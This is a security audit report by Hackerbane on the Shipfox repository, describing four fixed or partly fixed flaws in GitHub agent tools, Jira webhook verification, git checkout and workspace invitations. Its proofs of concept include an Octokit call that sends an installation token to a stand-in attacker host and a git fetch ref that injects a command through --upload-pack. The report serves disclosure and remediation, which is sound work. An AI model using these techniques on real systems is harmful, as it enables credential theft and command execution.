Auditing your own system? Hackerbane runs AI security audits. Request an audit.
Hackerbane
Shipfox
Assessment Report

ShipfoxHQ/shipfox
0461349

Hackerbane reviewed ShipfoxHQ/shipfox at 04613493d09b15b2ee5e8399d2535a6c2c664f3d and found four vulnerabilities in the GitHub agent tools, the Jira webhook, git checkout, and workspace invitations. One is critical, two are high, and one is medium. All four fixes are on main. The invitation fix stops a revoked token before a user is created. A later accept failure still issues a verified session. The rest of the tree is unread. This document does not pass it.

1Critical
2High
1Medium
0Low
0Info
DocumentHACK-AR-2026-SHIPFOX  /  AI/ML review (targeted)
SystemShipfoxHQ/shipfox / GitHub tools, Jira webhooks, checkout, invitations
ScopeFour vulnerabilities in GitHub tools, Jira webhooks, checkout, and invitations (see 2.4)
Review commit04613493d09b15b2ee5e8399d2535a6c2c664f3d
ReviewOctober 19th, 2026 - October 20th, 2026
AuthorHackerbane
hackerbane.com hello@hackerbane.com HACK-AR-2026-SHIPFOX
Hackerbane · Assessment Report HACK-AR-2026-SHIPFOX

Contents

  1. -Document revision history
  2. -Contacts
  3. 1Executive overview
  4. 1.1Introduction
  5. 1.2What we found
  6. 1.3How this review was done
  7. 2Scoring (BVSS)
  8. 2.1Exploitability
  9. 2.2Impact
  10. 2.3Severity coefficient
  11. 2.4Scope
  12. 3Findings overview
  13. 4Findings
  14. 5Recommendations
  15. 6Fuzz testing
  16. 7Static analysis
  17. 8Remediation record
  18. 9Exhibit B

Document revision history

VersionModificationDate
0.4Draft Review10/20/2026
1.0Remediation Plan10/22/2026

Contacts

OrganizationContact
Hackerbanehello@hackerbane.com

1   Executive overview

1.1 Introduction

Hackerbane reviewed ShipfoxHQ/shipfox at 04613493d09b15b2ee5e8399d2535a6c2c664f3d and found four vulnerabilities. Report date is October 20th, 2026. The merged fixes were checked on October 22nd, 2026. This document is those four findings, and the fixes now on main.

Scope is in section 2.4. The client UI, the other integrations, the registry, and the rest of the TypeScript tree were not read for this document. This report does not pass them.

1.2 What we found

A GitHub REST tool argument named url or baseUrl is forwarded into octokit.request. Octokit 5 uses those fields as the HTTP target and still attaches the installation access token from createInstallationAccessToken({ installation_id }). A local Octokit 5.0.5 client sent authorization: token ghs_INSTALLATION_TOKEN_SECRET to https://attacker.example/collect. A static workflow with map does not add the key. An agent or MCP caller that emits it does.

A Jira webhook JWT is checked for iat and exp with the shared client secret. The JSON body and the connection path are outside the token. matchedWebhookIds is taken from that body. A checkout ref that starts with - is the last argument of git fetch, and Git runs --upload-pack through a shell. A revoked invitation still creates a verified user, and signup still calls createSessionTokens when accept fails.

No Critical or High finding is still open. HACK-04 is partial: a revoked invitation is rejected before the user insert, and a failed accept still issues a session.

1.3 How this review was done

2   Scoring (BVSS)

Each finding has an exploitability factor E = AO * AC * AX, an impact factor I, and a coefficient C = R * S. The score is min(10, E * I * C * 10), rounded up to one decimal. I is max(mI) + (sum(mI) - max(mI)) / 4 over confidentiality, integrity, availability, deposit, and yield. Deposit and yield are zero. There is no on-chain asset.

2.1 Exploitability

MetricCodeValues
Attack OriginAOA = 1 (any account), S = 0.2 (specific account)
Attack CostACL = 1, M = 0.67, H = 0.33
Attack ComplexityAXL = 1, M = 0.67, H = 0.33

2.2 Impact

MetricNoneLowMediumHighCritical
C Confidentiality00.250.50.751
I Integrity00.250.50.751
A Availability00.250.50.751
D Deposit00.250.50.751
Y Yield00.250.50.751

2.3 Severity coefficient

Reversibility R: N = 1, P = 0.5, F = 0.25. Scope S: C = 1.25, U = 1. C = R * S.

BandRange
Critical9.0 - 10.0
High7.0 - 8.9
Medium4.5 - 6.9
Low2.0 - 4.4
Informational0.0 - 1.9

2.4 Scope

Code repositories:

  1. Shipfox

Out of scope for a pass, and unread except where a finding cites a line:

3   Findings overview

1 critical, 2 high, 1 medium, 0 low, 0 informational. Four findings.

Security analysisRisk levelFixStatus
(HACK-01) GITHUB REST TOOLS SEND THE INSTALLATION TOKEN TO A CALLER-SUPPLIED URLCritical (10)2573SOLVED - 10/19/2026
(HACK-02) JIRA WEBHOOK JWT DOES NOT COVER THE BODY OR THE PATHHigh (7.5)2578SOLVED - 10/21/2026
(HACK-03) CHECKOUT REF WITH A LEADING DASH IS PASSED TO GIT FETCHHigh (8.0)2577SOLVED - 10/20/2026
(HACK-04) REVOKED INVITATION STILL CREATES A VERIFIED SESSIONMedium (5.0)2579PARTIALLY SOLVED - 10/21/2026

4   Findings

4.1 (HACK-01) GITHUB REST TOOLS SEND THE INSTALLATION TOKEN TO A CALLER-SUPPLIED URL

Critical (10) Credential exposure SOLVED
Description

The GitHub tool session in agent-tools.ts is supposed to validate the call, mint an installation access token, and request the route that belongs to that tool.

projectGithubOperationParameters copies the argument object with a spread for every tool except check_run_write. executeGithubRestOperation passes that object to client.request. Octokit 5 reads url and baseUrl as the HTTP target and still sends the token from createInstallationAccessToken({ installation_id }). The session deletes method before that projection, so a caller method does not change the verb. url and baseUrl still select the host.

An agent or MCP caller that sets url or baseUrl sends the installation token to a host they choose. A static workflow with map does not add the key. The token is the full installation token.

Code location

Listing 1: libs/api/integration/github/src/core/agent-tools.ts (Lines 700-711)

700export function projectGithubOperationParameters(
701 toolId: GithubAgentToolId,
702 method: string | undefined,
703 args: Record<string, unknown>,
704): Record<string, unknown> {
705 if (toolId === 'check_run_write') {
706 return projectGithubCheckRunParameters(method, args);
707 }
708 if (toolId === 'search_issues' || toolId === 'search_pull_requests') {
709 return projectGithubSearchOperationParameters(args);
710 }
711 const parameters = {...args};

Listing 2: libs/api/integration/github/src/core/agent-tools.ts (Line 819)

819 return await client.request(route, parameters);

Listing 3: libs/api/integration/github/src/api/installation-token-provider.ts (Lines 91-97)

91 private async mintInstallationAccessToken(
92 installationId: number,
93 ): Promise<GithubInstallationAccessToken> {
94 const response = await mapGithubError(
95 () =>
96 this.getApp().octokit.rest.apps.createInstallationAccessToken({
97 installation_id: installationId,
Proof of concept
  1. Install [email protected]. Construct new Octokit({ auth: "ghs_INSTALLATION_TOKEN_SECRET", baseUrl: "https://api.github.com", request: { fetch: fake } }).
  2. Call octokit.request("GET /repos/{owner}/{repo}/issues/{issue_number}", { owner: "acme", repo: "app", issue_number: 1, url: "https://attacker.example/collect" }).
  3. The fake fetch received GET https://attacker.example/collect?owner=acme&repo=app&issue_number=1 with header authorization: token ghs_INSTALLATION_TOKEN_SECRET.
  4. The same call with baseUrl: "https://attacker.example/api/v3" and no url sent the token to that host.
BVSS

AO:A/AC:L/AX:M/C:C/I:C/A:N/D:N/Y:N/R:N/S:C (10)

Recommendation

Keep only the arguments the tool declares before octokit.request. Do not pass url, baseUrl, method, headers, or request.

References

Fix, on main: https://github.com/ShipfoxHQ/shipfox/pull/2573.

Remediation plan

SOLVED. Hackerbane fixed this by keeping declared GitHub tool arguments and dropping the rest before octokit.request. That change is on main as of October 19th, 2026, commit cba051e0551a9fad286caf12286ca176d69001b0.

4.2 (HACK-02) JIRA WEBHOOK JWT DOES NOT COVER THE BODY OR THE PATH

High (7.5) Webhook integrity SOLVED
Description

The Jira webhook processor is supposed to accept an event only when Atlassian signed it for that connection.

verifyHs256 checks the bearer token with JIRA_OAUTH_CLIENT_SECRET and a schema of iat and exp. The raw body is parsed after verification and is not an input to verifyHs256. hasMatchingWebhookId then accepts the delivery when payload.matchedWebhookIds contains a stored webhook id. The path that selects the connection is also outside the token. Atlassian OAuth 2.0 dynamic webhooks do not put qsh or a body hash in that JWT, and registerDynamicWebhook does not send a per-webhook secret.

A holder of any JWT signed by that shared client secret can POST it to another connection's webhook URL for the life of the token, with a body that names a stored webhook id. Workflows that start from the forged event run as that connection.

Code location

Listing 4: libs/api/integration/jira/src/core/webhook-processor.ts (Lines 63-69)

63 try {
64 await verifyHs256({
65 token,
66 secret: config.JIRA_OAUTH_CLIENT_SECRET,
67 schema: jiraWebhookJwtClaimsSchema,
68 verificationTime: new Date(request.received_at),
69 });

Listing 5: libs/api/integration/jira/src/core/webhook-processor.ts (Lines 155-161)

155function hasMatchingWebhookId(
156 payload: JiraWebhookEnvelopeDto,
157 storedWebhookIds: number[],
158): boolean {
159 return (
160 payload.matchedWebhookIds?.some((webhookId) => storedWebhookIds.includes(webhookId)) === true
161 );
Proof of concept
  1. Take a bearer JWT that verifyHs256 accepts for JIRA_OAUTH_CLIENT_SECRET, with a future exp. The test suite signs { iss: "atlassian" } with that secret and the processor accepts it.
  2. POST it to /webhooks/integrations/jira/{connectionId} for a connection whose stored webhook id is 42. Body includes "matchedWebhookIds": [42]. Those bytes are not in the JWT.
  3. hasMatchingWebhookId returns true. The processor publishes the event for that connection.
BVSS

AO:A/AC:L/AX:L/C:N/I:H/A:N/D:N/Y:N/R:N/S:U (7.5)

Recommendation

Bind the delivery to the connection id with a secret the caller cannot derive from another connection. Do not require a body-hash claim Atlassian does not send. A captured URL plus a live JWT can still edit that one delivery until exp, and already-registered URLs fail until they are registered again.

References

Fix, on main: https://github.com/ShipfoxHQ/shipfox/pull/2578, merge c43c3cae5d329e0e53d26c106248d6535d27fa9d.

Remediation plan

SOLVED. On main as of October 21st, 2026. jiraWebhookUrl appends ?delivery= with HMAC-SHA256 of jira-webhook:{connectionId} under JIRA_OAUTH_CLIENT_SECRET. The processor rejects a missing or mismatched token when webhookDeliveryBound is not false. Rows registered before this change stay unbound until the renewal sweep sets that flag. The body is still outside the JWT.

4.3 (HACK-03) CHECKOUT REF WITH A LEADING DASH IS PASSED TO GIT FETCH

High (8.0) Command injection SOLVED
Description

createCheckoutSpec is supposed to hand the runner a git ref. isValidGitRefName rejects a leading dash. Checkout does not call it. That helper also rejects main, because a ref name in that helper must contain a slash.

createCheckoutSpec on the GitHub and Gitea providers sets ref to input.ref?.trim() || repository.defaultBranch. The runner builds fetchArgs as fetch, --progress, --no-tags, --prune, optional depth, origin, then ref. There is no --. Git treats a ref that starts with --upload-pack= as an option, and --upload-pack runs through a shell.

A workflow whose checkout ref is filled from attacker-controlled text runs that command on the runner. Trigger refs that Shipfox takes from GitHub as a SHA or refs/heads/... are checked elsewhere. An omitted ref falls back to the default branch. The workflow document schema accepts any non-empty string for ref.

Code location

Listing 6: libs/runner/workspace/src/checkout.ts (Lines 190-198)

190 const fetchArgs = [
191 'fetch',
192 '--progress',
193 '--no-tags',
194 '--prune',
195 ...(fetchDepth === 0 ? [] : [`--depth=${fetchDepth}`]),
196 'origin',
197 ref,
198 ];

Listing 7: libs/api/integration/github/src/core/source-control.ts (Lines 267-284)

267 async createCheckoutSpec(
268 input: CreateCheckoutSpecInput<GithubIntegrationConnection>,
269 ): Promise<CheckoutSpec> {
270 const installationId = await this.installationId(input.connection.id);
271 const target = normalizeCheckoutTarget(input);
272 const repository = await this.resolveCheckoutRepository(installationId, target);
273 const canonicalTarget: CheckoutTarget = {
274 kind: 'external-id',
275 externalRepositoryId: buildProviderRepositoryId(GITHUB_PROVIDER, String(repository.id)),
276 };
277 const permissions = input.permissions ?? {contents: 'read'};
278 const credentials = await this.createCheckoutCredentialsForTarget({
279 connection: input.connection,
280 installationId,
281 target: canonicalTarget,
282 permissions,
283 });
284 const ref = input.ref?.trim() || repository.defaultBranch;
Proof of concept
  1. In a temporary git repository with an origin remote, run git fetch --progress --no-tags --prune origin "--upload-pack=touch /tmp/sf-upload-pack-marker #" with Git 2.56.0. That is the argument shape of fetchArgs.
  2. Fetch exited 128. /tmp/sf-upload-pack-marker was created.
  3. The same argv with -- before the refspec exited 128 and did not create the file.
BVSS

AO:A/AC:L/AX:M/C:H/I:C/A:N/D:N/Y:N/R:N/S:U (8.0)

Recommendation

Reject a checkout ref that starts with - in both createCheckoutSpec implementations before credentials are minted. Allow main. Insert -- before ref in fetchArgs.

References

Fix, on main: https://github.com/ShipfoxHQ/shipfox/pull/2577, merge 28e4984df30ab5657731b1d6d6fedb8f0736404b.

Remediation plan

SOLVED. On main as of October 20th, 2026. isSafeCheckoutRef rejects a leading dash, a leading plus, and a name isValidGitRefName would reject, and it allows main. GitHub and Gitea createCheckoutSpec throw ref-invalid before credentials are minted. The runner throws before spawn when the ref starts with a dash, and fetchArgs places -- before the ref.

4.4 (HACK-04) REVOKED INVITATION STILL CREATES A VERIFIED SESSION

Medium (5.0) Authentication PARTIALLY SOLVED
Description

signupWithInvitation preflights the token so an invalid invitation does not create a user. acceptWorkspaceInvitation rejects a revoked token.

preflightInvitationAcceptance checks missing, accepted, expired, and email mismatch. It does not read revokedAt. signupWithInvitation then creates the user with emailVerifiedAt set, calls accept, and on a known accept error still calls createSessionTokens. The signup route sets the refresh cookie and returns 201 with accept_error. This path does not call signupPolicy. Password signup does. login accepts any active user whose emailVerifiedAt is set. confirmPasswordReset issues a session for any active user that has a password.

The holder of a revoked invitation token gets a verified account and a session. The revoked workspace is not joined. The new account can call POST /workspaces. Omitting the cookie on the signup response still leaves that login path.

Code location

Listing 8: libs/api/workspaces/src/presentation/inter-module.ts (Lines 69-76)

69 preflightInvitationAcceptance: async (input) => {
70 try {
71 const invitation = await peekInvitationByRawToken({token: input.token});
72 if (!invitation) throw new TokenInvalidError('Invitation token is invalid');
73 if (invitation.acceptedAt !== null) throw new TokenAlreadyUsedError();
74 if (invitation.expiresAt.getTime() <= Date.now()) throw new TokenExpiredError();
75 if (invitation.email !== input.email) throw new InvitationEmailMismatchError();
76 return {};

Listing 9: libs/api/auth/src/core/auth.ts (Lines 410-416)

410 // Step 4: Issue session. createSessionTokens reads memberships through the
411 // workspaces module API, so a successful accept is reflected in the JWT.
412 const {token, refreshToken, adminRole} = await createSessionTokens(
413 user,
414 params.workspaces,
415 false,
416 );
Proof of concept
  1. Revoke an invitation. revokedAt is set. findInvitationByToken still returns the row.
  2. preflightInvitationAcceptance returns success when the email matches and the row is unaccepted and unexpired. It never reads revokedAt.
  3. signupWithInvitation inserts the user with emailVerifiedAt set. acceptInvitation throws. createSessionTokens still runs. The route returns 201, the access token, membership: null, and accept_error, and sets the refresh cookie.
  4. login with that email and password succeeds because emailVerifiedAt is set, even if the signup response had dropped the cookie.
BVSS

AO:A/AC:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:N/S:U (5.0)

Recommendation

Reject revokedAt !== null inside preflightInvitationAcceptance before the user insert. Run signupPolicy on the invitation path. Leave the row without a password and without emailVerifiedAt until accept succeeds. If accept throws, delete the row. Do not call createSessionTokens.

References

Fix, on main: https://github.com/ShipfoxHQ/shipfox/pull/2579, merge a59b6721c83bb3e7af73f47002ec7e64690c0447.

Remediation plan

PARTIALLY SOLVED. On main as of October 21st, 2026. preflightInvitationAcceptance treats revokedAt !== null as an invalid token and throws before signupWithInvitation inserts a user. That function still sets emailVerifiedAt and a password before accept. A known accept error still calls createSessionTokens. The row is not deleted.

5   Recommendations

IDSeverityRecommendationFix
HACK-01Critical (10)Keep only declared GitHub tool arguments before octokit.request.SOLVED
HACK-02High (7.5)Require an HMAC of the connection id on the Jira webhook URL. Existing registrations stay unbound until renewal.SOLVED
HACK-03High (8.0)Reject a leading-dash checkout ref and pass -- before the ref.SOLVED
HACK-04Medium (5.0)Reject a revoked invitation before creating a user. Still open: delete the row if accept fails, and do not issue a session.PARTIAL

6   Fuzz testing

No fuzz harness was run on these four paths. The proofs are the Octokit client for HACK-01, the git argv for HACK-03, and the invitation and webhook unit tests named in section 1.3.

7   Static analysis

No static analyzer was run. The four findings come from reading the files in section 2.4 and from the proofs in section 1.3.

8   Remediation record

Review commit 04613493d09b15b2ee5e8399d2535a6c2c664f3d contains all four defects. The four fixes below are on main. The merged diffs were read on October 22nd, 2026. The package tests named in section 1.3 were not run again for this revision.

DateFindingFixConfirmedOn main
10/19/2026HACK-01Keep declared GitHub tool arguments. 2573, merge cba051e0551a9fad286caf12286ca176d69001b0YesYes
10/20/2026HACK-03Reject a leading-dash ref and pass --. 2577, merge 28e4984df30ab5657731b1d6d6fedb8f0736404bYesYes
10/21/2026HACK-02HMAC the connection id into the webhook URL. 2578, merge c43c3cae5d329e0e53d26c106248d6535d27fa9dYesYes
10/21/2026HACK-04Reject a revoked invitation in preflight. 2579, merge a59b6721c83bb3e7af73f47002ec7e64690c0447YesYes

Still open: HACK-04. signupWithInvitation in libs/api/auth/src/core/auth.ts still sets emailVerifiedAt before accept, and a failed accept still calls createSessionTokens. Pull 2579 does not change that file. Jira installations with webhookDeliveryBound false still accept a JWT with no delivery token until the renewal sweep registers them again.

9   Exhibit B

SeverityScoreMeaning in this report
Critical9.0 - 10.0The installation token leaves the API.
High7.0 - 8.9A forged Jira webhook starts work, or a checkout ref runs a command on the runner.
Medium4.5 - 6.9A revoked invitation creates a verified account.
Low2.0 - 4.4None in this report.
Informational0.0 - 1.9None in this report.

Warranty caps and the rest of Exhibit B are in the services agreement when one exists.

hackerbane.com hello@hackerbane.com HACK-AR-2026-SHIPFOX